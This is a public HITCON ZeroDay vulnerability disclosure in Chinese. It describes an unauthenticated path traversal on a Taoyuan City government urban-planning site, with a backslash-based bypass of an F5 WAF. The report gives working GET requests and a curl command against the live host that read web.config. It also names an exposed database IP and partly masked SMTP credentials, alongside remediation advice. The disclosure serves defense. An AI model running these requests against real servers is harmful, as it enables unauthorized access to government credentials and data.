桃園市都市計畫地理資訊服務網WAF 繞過導致路徑穿越任意檔案讀取(含資料庫憑證完整洩漏) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00850
  •  發信 Vendor: {桃園市政府都市發展局}
  • Title: 桃園市都市計畫地理資訊服務網WAF 繞過導致路徑穿越任意檔案讀取(含資料庫憑證完整洩漏)
  • Introduction: WAF 繞過導致路徑穿越任意檔案讀取(含資料庫憑證完整洩漏)

處理狀態

目前狀態

公開
Last Update : 2026/08/18
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/06/18 14:22:40 : 新提交 (由 #! 更新此狀態)
  • 2026/06/18 14:24:09 : 新提交 (由 #! 更新此狀態)
  • 2026/06/18 14:24:42 : 新提交 (由 #! 更新此狀態)
  • 2026/06/18 14:25:22 : 新提交 (由 #! 更新此狀態)
  • 2026/06/18 14:26:13 : 新提交 (由 #! 更新此狀態)
  • 2026/06/18 14:29:02 : 新提交 (由 #! 更新此狀態)
  • 2026/06/18 17:01:37 : 新提交 (由 #! 更新此狀態)
  • 2026/06/21 13:57:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 17:19:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 17:19:12 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 17:19:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/18 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00850
  • 通報者:summer83583 (#!)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://urplanning.tycg.gov.tw/upgis/

敘述

弱點摘要:
桃園市都市計畫地理資訊服務網(urplanning.tycg.gov.tw)子應用程式 /TyRWUrbanCIA/ 的檔案下載端點 /BIA/All_Download/ 存在路徑穿越(Path Traversal)弱點,且部署之 F5 BIG-IP WAF 規則未涵蓋 Windows 反斜線路徑分隔符號(\),導致 WAF 防護可被繞過。
無需任何認證,透過單一 HTTP GET 請求即可讀取伺服器任意檔案,已確認成功取得應用程式 web.config 設定檔,其中包含:
• 多組 SQL Server 資料庫帳號密碼(桃園、嘉義縣、屏東縣、彰化縣政府系統)
• 一組位於公開網際網路 IP(60.250.99.172)的資料庫明文帳密
• 政府郵件伺服器(mail.tycg.gov.tw)SMTP 帳號密碼
• 系統管理員預設帳密
• 伺服器實體路徑

受影響端點:
URL:https://urplanning.tycg.gov.tw/TyRWUrbanCIA/BIA/All\_Download/
參數:file(GET 參數)
認證需求:無(未驗證身份即可存取)
HTTP 方法:GET
WAF:F5 BIG-IP(部分規則缺失)
後端技術 :ASP.NET MVC / Microsoft IIS / Windows Server

弱點技術分析:
後端下載邏輯直接將用戶輸入的 file 參數拼接至伺服器實體路徑:
基礎路徑:D:\Web\TyRwUrbanCIA\files\
完整路徑:D:\Web\TyRwUrbanCIA\files\ + [user-controlled file parameter]
程式碼邏輯推估(ASP.NET MVC):
// 未安全驗證的危險實作
public ActionResult All_Download(string file)
{
string basePath = Server.MapPath("~/files/");
string fullPath = Path.Combine(basePath, file); // 未驗證 file 參數
byte[] content = System.IO.File.ReadAllBytes(fullPath);
return File(content, "application/vnd.ms-excel", file);
}

WAF 繞過原理

圖片

F5 BIG-IP WAF 的路徑穿越規則僅過濾正斜線(/)變體,未包含 Windows 路徑分隔符號反斜線(\)及其編碼形式。

攻擊路徑(Attack Chain)

圖片

步驟一:確認端點存在
GET /TyRWUrbanCIA/BIA/All_Download/?file=test.xlsx HTTP/1.1
Host: urplanning.tycg.gov.tw
回應(確認端點有效):
HTTP/1.1 500 Internal Server Error
Content-Type: application/vnd.ms-excel; charset=utf-8
Content-Disposition: attachment; filename=test.xlsx

步驟二:確認 WAF 繞過
GET /TyRWUrbanCIA/BIA/All_Download/?file=../web.config HTTP/1.1
Host: urplanning.tycg.gov.tw
回應(正斜線被攔截):
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

\<html>\<head>\<title>Request Rejected\</title>\</head>
\<body>The requested URL was rejected. Your support ID is: 12580724321118944661\</body>

GET /TyRWUrbanCIA/BIA/All_Download/?file=..\web.config HTTP/1.1
Host: urplanning.tycg.gov.tw
回應(反斜線繞過 WAF,成功讀取):
HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel; charset=utf-8
Content-Disposition: attachment; filename=..\web.config
Content-Length: 15597

\<?xml version="1.0" encoding="utf-8"?>
\<configuration>
\<connectionStrings>
...(完整資料庫帳密)...
\</connectionStrings>
\</configuration>

步驟三:取得完整 web.config
curl -s "https://urplanning.tycg.gov.tw/TyRWUrbanCIA/BIA/All\_Download/?file=..\\web.config"
# → 回傳 15,597 bytes,包含完整設定檔

圖片

已確認洩漏資料

以下資訊已從伺服器實際取得,為系統現行運作中的憑證

圖片

疑似取得廠商使用的市府信箱
SMTP 伺服器 mail.tycg.gov.tw
帳號 ur**
密碼 ty*****
01
信箱 ur****@mail.tycg.gov.tw

修補建議

1. 停用或下線 /TyRWUrbanCIA/BIA/All\_Download/ 端點
2. 更換所有洩漏的資料庫帳號密碼(尤其是 60.250.99.172 的帳密)
3. 確認並關閉 60.250.99.172 的 TCP Port 1433 對外存取
4. 更換 SMTP 郵件帳號密碼
5. 通報 嘉義縣、屏東縣、彰化縣政府確認其系統帳密是否仍有效

6. 更新 F5 WAF 規則,補充反斜線路徑穿越特徵:
• \\.\\. / %5c%5c / %5C%5C
• ..%5c / %2e%2e%5c

7. 修改下載端點,對 file 參數實施白名單驗證:
// 安全實作
if (!Regex.IsMatch(file, @"^\[a-zA-Z0-9\_\\-\]+\\.xlsx$"))
return new HttpStatusCodeResult(400);
string safePath = Path.Combine(Server.MapPath("~/files/"), Path.GetFileName(file));
if (!safePath.StartsWith(Server.MapPath("~/files/")))
return new HttpStatusCodeResult(403);

8. 清除 web.config 中所有已註解的歷史帳密

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;